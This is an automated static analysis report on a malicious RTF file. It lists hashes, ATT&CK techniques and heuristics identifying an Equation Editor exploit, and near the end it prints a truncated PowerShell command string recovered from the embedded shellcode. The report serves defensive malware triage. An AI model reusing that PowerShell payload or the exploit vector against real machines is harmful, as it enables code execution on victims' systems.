Malicious RTF — malware analysis report

Static analysis result for SHA-256 0111046a31fc828c…

MALICIOUS

RTF

8.0 KB First seen: 2020-12-28
MD5: d222104c8abd685de0a82f289de118bb SHA-1: 5f8301a5ab74ddde044d6f4baed21867f2d365be SHA-256: 0111046a31fc828cc125825b7e75ed8438cf52fd55a234a41ac754d04371609f
140 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1566.001 Spearphishing Attachment

The RTF file contains an embedded OLE object, specifically identified as an Equation Editor exploit. This exploit is designed to execute arbitrary code upon opening the document, likely leading to the download and execution of a secondary payload. The presence of shellcode command strings in the extracted artifact further supports this attack vector.

Heuristics 4

  • Equation Editor CLSID critical CVE likely RTF_EQUATION_EDITOR
    Equation Editor OLE CLSID found inside an OLE object — exploited by CVE-2017-11882 / CVE-2018-0802 / CVE-2018-0798
  • Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • OLE object data medium RTF_OBJDATA
    RTF contains 1 \objdata section(s) — embedded OLE objects
  • Embedded OLE object medium RTF_OBJEMB
    RTF contains \objemb — embedded OLE object

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
objdata_00_off000001c9.bin rtf-objdata-decoded RTF \objdata at offset 0x1C9 3600 bytes
SHA-256: 0ed1fd054982b12e10d7dde0cb97fca2aef8e154cadb8e28b4d22cf5f38c88b2
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Static shellcode analysis recovered command string(s): powershell.exe -noexit -windowstyle maximized "$p=0;$u=$env:userprofile;$vl=$u+"""\Music\Saved Music\Windows Music""";if(![System.IO.Directory]::Exists($vl)){DO{try{$woE